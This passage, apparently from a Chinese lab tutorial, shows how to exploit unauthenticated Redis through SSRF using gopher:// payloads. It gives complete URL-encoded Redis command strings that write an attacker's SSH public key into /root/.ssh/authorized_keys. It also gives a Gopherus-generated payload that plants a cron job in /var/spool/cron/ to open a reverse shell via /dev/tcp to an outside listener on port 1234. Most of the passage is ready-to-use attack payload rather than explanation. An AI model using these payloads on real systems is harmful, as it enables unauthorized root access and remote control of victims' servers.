ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQgMRihDD5ALaOUoOBI+T2rKAGvtRQiC4MP73sCskU2JaTD41pRx999mAE4bkzoRRU5bK4FnOHKWrmxXo8FIaMu4E/iSF8H00yQvr9zO6369hqj6yfNLP3cmd6f/o6ouzlcxo2YO1oxaGPZDfd8geqFSmX7YjYS3Tpok7HvmaoV49B06f+2l35oH79SQ5RYujrC3m4TcjT0OpaIKDyB5HTod2MfyUMIsiOKQIIMuMftfpgXWSn7Q03XZEXe+0f/EluByC5HGN0rfi4uzOfCKyhsDzElWTW7MDiJ1tSLpvjaeTJihWUwYKMq8n+rw4on2c5Xu6wxa2fu6pXtFY2b+r4kiyPNhb6h00OukEK3ezNx4UZRecQ0vmDRcwBj+16UbXCs3pGHFpqabraNP04GZZr9+/pPPHUSHKSRlstoc77EmzeKaVg9m5n44LRUAgvkC0aQZak6z+flM8KKuLX58AsBRv73EBKy5goiF2UBYQba9LvFBYz3JjqtrX1GtwwmLM= root@kali
*1 $4 save *1 $4 quit
|
替换换行符
1
| *4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$568%0d%0a%0d%0a%0d%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQgMRihDD5ALaOUoOBI+T2rKAGvtRQiC4MP73sCskU2JaTD41pRx999mAE4bkzoRRU5bK4FnOHKWrmxXo8FIaMu4E/iSF8H00yQvr9zO6369hqj6yfNLP3cmd6f/o6ouzlcxo2YO1oxaGPZDfd8geqFSmX7YjYS3Tpok7HvmaoV49B06f+2l35oH79SQ5RYujrC3m4TcjT0OpaIKDyB5HTod2MfyUMIsiOKQIIMuMftfpgXWSn7Q03XZEXe+0f/EluByC5HGN0rfi4uzOfCKyhsDzElWTW7MDiJ1tSLpvjaeTJihWUwYKMq8n+rw4on2c5Xu6wxa2fu6pXtFY2b+r4kiyPNhb6h00OukEK3ezNx4UZRecQ0vmDRcwBj+16UbXCs3pGHFpqabraNP04GZZr9+/pPPHUSHKSRlstoc77EmzeKaVg9m5n44LRUAgvkC0aQZak6z+flM8KKuLX58AsBRv73EBKy5goiF2UBYQba9LvFBYz3JjqtrX1GtwwmLM= root@kali%0d%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit
|
1
| gopher://172.250.250.9:6379/_*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$568%0d%0a%0d%0a%0d%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQgMRihDD5ALaOUoOBI+T2rKAGvtRQiC4MP73sCskU2JaTD41pRx999mAE4bkzoRRU5bK4FnOHKWrmxXo8FIaMu4E/iSF8H00yQvr9zO6369hqj6yfNLP3cmd6f/o6ouzlcxo2YO1oxaGPZDfd8geqFSmX7YjYS3Tpok7HvmaoV49B06f+2l35oH79SQ5RYujrC3m4TcjT0OpaIKDyB5HTod2MfyUMIsiOKQIIMuMftfpgXWSn7Q03XZEXe+0f/EluByC5HGN0rfi4uzOfCKyhsDzElWTW7MDiJ1tSLpvjaeTJihWUwYKMq8n+rw4on2c5Xu6wxa2fu6pXtFY2b+r4kiyPNhb6h00OukEK3ezNx4UZRecQ0vmDRcwBj+16UbXCs3pGHFpqabraNP04GZZr9+/pPPHUSHKSRlstoc77EmzeKaVg9m5n44LRUAgvkC0aQZak6z+flM8KKuLX58AsBRv73EBKy5goiF2UBYQba9LvFBYz3JjqtrX1GtwwmLM= root@kali%0d%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit
|
在没有写入SSH公钥前使用私钥测试连接
1
| ssh -i id_rsa -p 2222 root@192.168.233.137
|

会发现需要公钥,连接不上
在提交payload后,再次连接,发现不需要公钥了,直接可以连接

使用SSRF对Redis未授权计划任务Shell反弹
- 权限问题,Ubuntu定时任务需要root权限
- Redis备份文件存在乱码,在Ubuntu上会报错,而在Centos上不会报错
使用SSRF利用此漏洞切记在写入计划任务前后要加上\n
来进行换行,否则数据污染会导致计划任务无法执行
要写入的目录是/var/spool/cron/

使用工具,选择第一个
1
| python2 gopherus.py --exploit redis
|

填写目标的IP地址(根据实际填写)

1
| gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.233.140/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
|
会反弹到1234端口,要进行监听


